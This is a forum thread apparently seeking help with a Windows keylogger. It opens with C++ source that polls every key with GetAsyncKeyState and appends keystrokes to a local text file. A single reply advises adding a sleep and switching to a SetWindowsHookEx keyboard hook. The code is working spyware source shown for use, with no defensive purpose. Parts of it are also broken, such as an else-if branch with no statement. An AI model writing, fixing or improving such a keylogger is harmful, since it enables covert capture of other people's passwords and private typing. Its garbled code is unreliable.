#include <iostream> #include <windows.h> #include <winuser.h> int Save (int key_stroke, char *log); int main() { SetPriorityClass(GetCurrentProcess(), IDLE_PRIORITY_CLASS); // already found out char i; std::cout << "keylogging started" << std::endl; while (1) { for (i = 8; i <= 190; i++) { if (GetAsyncKeyState(i) == -32767) Save (i, "asd.txt"); } } system("pause"); return 0; } int Save (int key_stroke, char *log) { if ( (key_stroke == 1) || (key_stroke == 2) ) return 0; FILE *OUTPUT_FILE; OUTPUT_FILE = fopen(log, "a+"); std::cout << key_stroke << std::endl; if (key_stroke == 8) fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); else if (key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n"); else if (key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " "); else if (key_stroke == VK_TAB) fprintf(OUTPUT_FILE, "%s", "[TAB]"); else if (key_stroke == VK_SHIFT) else if (key_stroke == VK_LEFT) fprintf(OUTPUT_FILE, "%s", "[LEFT]"); else if (key_stroke == VK_UP) fprintf(OUTPUT_FILE, "%s", "[UP]"); else if (key_stroke == VK_RIGHT) fprintf(OUTPUT_FILE, "%s", "[RIGHT]"); else if (key_stroke == VK_DOWN) fprintf(OUTPUT_FILE, "%s", "[DOWN]"); else fprintf(OUTPUT_FILE, "%s", &key_stroke); fclose (OUTPUT_FILE); return 0; }
Announcement
Collapse
No announcement yet.
keylogger help!!!
Collapse
X
-
keylogger help!!!
Code:ok baiTags: None
-
Re: keylogger help!!!
Throw some Sleep after while( 1 ) to let your CPU out of it's pain.
Overall that coden is pretty sloppy, consider using SetWindowsHookEx for keystrokes.lolmaoman: Germans are born with a lifetime x22 login engraved into their birth certificates. True story.
Comment
Comment